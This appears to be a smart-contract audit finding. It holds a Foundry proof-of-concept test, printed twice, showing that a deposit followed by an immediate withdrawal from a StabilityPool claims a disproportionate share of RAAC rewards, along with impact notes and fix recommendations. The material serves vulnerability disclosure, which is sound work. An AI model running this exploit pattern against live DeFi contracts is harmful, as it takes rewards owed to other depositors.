function testuserCanWithdrawAllRewards() public {
vm.prank(owner);
raacToken.mint(address(stabilityPool), 1000);
vm.startPrank(user2);
uint256 initialAmount = 1 ether;
rToken.approve(address(stabilityPool), initialAmount);
crvusd.approve(address(lendingPool), initialAmount);
stabilityPool.deposit(initialAmount);
vm.stopPrank();
vm.startPrank(user1);
uint256 raacBalanceBeforeDeposit = raacToken.balanceOf(user1);
console.log("Attacker raac balance before attack", raacToken.balanceOf(user1));
rToken.approve(address(stabilityPool), initialAmount * 10);
crvusd.approve(address(lendingPool), initialAmount * 10);
stabilityPool.deposit(initialAmount * 10);
stabilityPool.withdraw(initialAmount * 10);
console.log("Attacker raac balance after attack", raacToken.balanceOf(user1));
uint256 raacBalanceAfterDeposit = raacToken.balanceOf(user1);
console.log("How much the attacker stole", raacBalanceAfterDeposit - raacBalanceBeforeDeposit);
vm.stopPrank();
}
The impact of this vulnerability is significant as it allows users to exploit the reward calculation mechanism to claim a disproportionate share of the accumulated rewards. This can lead to an unfair distribution of rewards and potential financial losses for other users who have legitimately deposited their tokens for a longer duration.
Foundry: A smart contract development and testing framework.
Solidity: The programming language used to write the smart contracts.
Forge-std: A standard library for Foundry, used for logging and testing.
To fix this vulnerability, the reward calculation mechanism in the StabilityPool contract needs to be corrected. Specifically, the calculateRaacRewards function should be modified to ensure that rewards are calculated based on the duration of the deposit. Here are some recommendations:
Implement Lock-Up Period: Introduce a lock-up period during which users cannot withdraw their deposits. This ensures that users must hold their deposits for a minimum duration to be eligible for rewards.
Implement Reward Accrual Mechanism: Calculate rewards based on the duration of the deposit. This ensures that users who hold their deposits longer receive more rewards.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/contracts/core/pools/LendingPool/LendingPool.sol";
import "../src/contracts/mocks/core/tokens/crvUSDToken.sol";
import "../src/contracts/core/primitives/RAACHousePrices.sol";
import "../src/contracts/core/tokens/RAACNFT.sol";
import "../src/contracts/core/tokens/RToken.sol";
import "../src/contracts/core/tokens/DebtToken.sol";
import "../src/contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../src/contracts/core/tokens/RAACToken.sol";
import "../src/contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../src/contracts/core/tokens/DeToken.sol";
contract StabilityPoolTest is Test {
address owner;
address user1;
address user2;
address user3;
address treasury;
StabilityPool stabilityPool;
LendingPool lendingPool;
RAACMinter raacMinter;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
crvUSDToken crvusd;
RAACNFT raacNFT;
RAACHousePrices raacHousePrices;
uint256 currentTime = 1672531200;
uint256 constant WAD = 1e18;
uint256 constant RAY = 1e27;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
user3 = address(0x3);
treasury = address(0x4);
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
raacToken = new RAACToken(owner, 100, 50);
raacToken.setMinter(owner);
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
debtToken = new DebtToken("DebtToken", "DT", owner);
uint256 initialPrimeRate = 5e27;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
raacHousePrices.setOracle(owner);
stabilityPool = new StabilityPool(owner);
vm.warp(currentTime);
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
lendingPool.setStabilityPool(address(stabilityPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
rToken.setMinter(address(lendingPool));
rToken.setBurner(address(lendingPool));
mintRToken(address(lendingPool), user2, 10 ether, 1);
mintRToken(address(lendingPool), user1, 10 ether, 1);
mintAndDeposit(user1, 100);
forwardTime(365 days);
mintNFTAndBorrow(user1, 1, 50, 25);
forwardTime(365 days);
mintAndDeposit(user3, 1);
}
function forwardTime(uint256 addTime) internal {
currentTime += addTime;
vm.warp(currentTime);
}
function mintAndDeposit(address userF, uint256 amount) internal {
console.log(("Minting and depositing "));
crvusd.mint(userF, amount);
vm.startPrank(userF);
crvusd.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
vm.stopPrank();
}
function mintRToken(address from, address to, uint256 amount, uint256 liquidityIndex) internal {
vm.startPrank(from);
rToken.mint(from, to, amount , liquidityIndex);
vm.stopPrank();
}
function mintNFTAndBorrow(address user, uint256 nftId, uint256 nftValue, uint256 borrowAmount) internal {
console.log(string(abi.encodePacked("Minting NFT and borrowing ", Strings.toString(nftId), " ", Strings.toString(nftValue), " ", Strings.toString(borrowAmount))));
vm.startPrank(owner);
raacHousePrices.setHousePrice(nftId, nftValue);
crvusd.mint(user, nftValue);
vm.stopPrank();
vm.startPrank(user);
crvusd.approve(address(raacNFT), nftValue);
raacNFT.mint(nftId, nftValue);
raacNFT.approve(address(lendingPool), nftId);
lendingPool.depositNFT(nftId);
lendingPool.borrow(nftValue);
vm.stopPrank();
}
function testuserCanWithdrawAllRewards() public {
vm.prank(owner);
raacToken.mint(address(stabilityPool), 1000);
vm.startPrank(user2);
uint256 initialAmount = 1 ether;
rToken.approve(address(stabilityPool), initialAmount);
crvusd.approve(address(lendingPool), initialAmount);
stabilityPool.deposit(initialAmount);
vm.stopPrank();
vm.startPrank(user1);
uint256 raacBalanceBeforeDeposit = raacToken.balanceOf(user1);
console.log("Attacker raac balance before attack", raacToken.balanceOf(user1));
rToken.approve(address(stabilityPool), initialAmount * 10);
crvusd.approve(address(lendingPool), initialAmount * 10);
stabilityPool.deposit(initialAmount * 10);
stabilityPool.withdraw(initialAmount * 10);
console.log("Attacker raac balance after attack", raacToken.balanceOf(user1));
uint256 raacBalanceAfterDeposit = raacToken.balanceOf(user1);
console.log("How much the attacker stole", raacBalanceAfterDeposit - raacBalanceBeforeDeposit);
vm.stopPrank();
}
}